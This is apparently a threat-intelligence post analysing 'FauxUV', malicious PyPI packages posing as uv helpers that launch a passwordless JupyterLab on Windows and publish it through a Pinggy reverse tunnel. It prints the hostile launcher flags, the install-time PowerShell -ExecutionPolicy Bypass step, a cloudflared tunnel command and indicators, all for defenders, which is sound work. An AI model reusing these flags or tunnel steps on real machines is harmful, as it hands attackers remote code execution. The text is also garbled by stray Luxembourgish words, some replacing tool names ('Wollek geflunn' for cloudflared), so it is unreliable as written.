TL; DR
A cluster of PyPI packages borrowed the name of uv, the fast, hugely popular Rust-based Python package manager, to pose as uv helpers. They ship almost no real functionality. What they carry instead is a Windows payload that stands up a JupyterLab server with authentication switched off and, in later versions, publishes it to the public internet through a reverse tunnel.
That is the whole story in one line: a trusted tool's name as the lure, and JupyterLab as the remote-code-execution engine. A Jupyter server runs whatever code you type into a notebook cell; one launched with an empty token and bound to every network interface is an open interpreter that anyone who can reach the port can drive.
We track the cluster as FauxUV. The two packages examined are moon-uv (0.0.1-0.0.16) a my-magic-uv-helper (0.0.1), published by the same operator and live on PyPI at the time of analysis.
| Ecosystem | PyPI |
| Formulen | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platform targeted | Windows |
| Core behavior | Unauthenticated JupyterLab server, published to the internet via a reverse tunnel |
| Legitimate tools abused | uv, JupyterLab, cloudflared, Pinggy |
The lure: a name you already trust
uv is one of the most-installed Python tools of the last two years, so “a helper for uv” is a package a developer installs without a second thought. FauxUV spends its credibility entirely on that name. The packages wrap the éierleche uv installer from Astral — the URLs in the payload point at real, reputable hosts — so a quick glance sees nothing but trustworthy references. None of the packages actually add uv functionality; the name is the entire disguise.
JupyterLab as the RCE engine
The payload’s centerpiece is a launcher that starts JupyterLab with every guardrail removed:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Each flag strips away a protection, and the shipped script even annotates them (in the original Chinese): the empty token “turns off password and token checks — anyone can connect.” Jupyter Labo is a legitimate data-science IDE, but a notebook cell executes arbitrary code by design. Configured this way and bound to 0.0.0.0, it stops being an IDE and becomes an unauthenticated remote shell on the host — no custom malware binary required, just a mainstream tool pointed the wrong way.
Two supporting pieces make that reachable and repeatable:
- A silent install trigger. Early versions run PowerShell with -ExecutionPolicy Bypass direkt vun setup.py on pip installéieren, in the background with errors suppressed so Pip looks normal. Later versions move the same primitive into a pip-uv command-line tool — and drop the install-time auto-run entirely.
- A public reverse tunnel. A server on 0.0.0.0 is still only reachable by hosts that can route to the machine. A bundled module opens a [Pinggy](https://pinggy.io/) SSH reverse tunnel that forwards the local Jupyter port to a public address, removing that limit. The shipped script also carries — commented out — an alternative path using Cloudflare’s Wollek geflunn an engem Netsh port-proxy to a Linode IP, documenting the same goal through different infrastructure.
Put together: install the package, and a Windows host ends up running a passwordless JupyterLab and publishing it to the open internet.
How FauxUV evolved
FauxUV’s versions shipped in quick succession, and the payload’s trigger point moved across them — a reminder that one flagged version rarely tells the whole story of a package line.
| Stage | Versiounen | Iwwerleeung | What it adds |
|---|---|---|---|
| Install-hook | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py on pip install | uv install + PATH prepend |
| CLI-runtime | moon-uv 0.0.5-0.0.13 | pip-uv Kommando | the passwordless-JupyterLab launcher |
| Tunnel | moon-uv 0.0.14-0.0.16 | pip-uv Kommando | an active Pinggy reverse tunnel |
Notably, the install-time auto-run was geläscht in the later, more capable versions — so a scanner keyed only on lifecycle hooks would score the newer releases as manner risky, exactly backwards.
Indikatoren fir e Kompromëss
Confirmed by reading the package source; endpoints marked kommentéiert are present in the files but not executed by the analyzed version. Network indicators are defanged.
| Type | Luucht |
|---|---|
| Install command | powershell -ExecutionPolicy Bypass fetching the genuine uv installer, at pip install time |
| JupyterLab flags | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Reverse tunnel (active) | free[.]pinggy[.]io:443 forwarding local 127.0.0.1:8888 |
| Tunnel host (commented) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (commented) | 45[.]79[.]134[.]161 (Linode) via netsh port-proxy |
| Persistenz | prepends %USERPROFILE%\.local\bin to the user PATH |
Behavioral signals worth alerting on, independent of these exact strings: a pip installéieren that spawns powershell -ExecutionPolicy Bypass; any jupyter launch combining token=”” mat –ip=0.0.0.0; and outbound SSH to *.pinggy.io from a developer or CI machine.
Observed behavior and provenance
The two packages share an author and a method: a trusted tool’s name, Windows-only gating, error-suppressed background execution, and reliance on reputable tools so a quick look sees only reputable URLs. The source carries Chinese-language comments describing the security-relevant flags plainly; we report those as observable statements in the file, not as a claim about motive. The allow_origin Wäert an a colab.bat filename echo the informal “share my local runtime” workflows that circulate for Google Colab. Whatever the origin, the packaged result is the same.
Impact and guidance for defenders
Who is exposed to FauxUV. Windows developers and CI runners that pip installéieren one of these packages. A passwordless JupyterLab on 0.0.0.0 is remote code execution for anyone who can reach the port; the tunnel removes the “who can reach it” limit. The server runs as the installing user, inheriting that user’s files, tokens, and cloud credentials.
Why it is easy to miss. Every network string points at a reputable host — Astral, JupyterLab, Wollek geflunn, Pinggy, Colab. There is no malware binary to hash and no obfuscated blob to decode. Reputation- and signature-based scanning both under-weight this, which is why the behavioral question — what does installing this package make the machine do — is the one that catches it.
Féierung:
- Treat any install-time powershell -ExecutionPolicy Bypass as a build-breaking signal, whatever URL it fetches.
- Alarméiert jupyter launched with an empty token and –ip=0.0.0.0; that combination should never appear on a workstation or runner.
- Monitor for outbound SSH to tunnel providers (*.pinggy.io, *.trycloudflare.com) from developer and CI environments.
- installéieren uv from [its official source](https://docs.astral.sh/uv/) and be skeptical of third-party “helper” packages that wrap a tool already trivial to install.
- Pin and re-review dependencies on upgrade — a package line can grow new capability version-over-version.



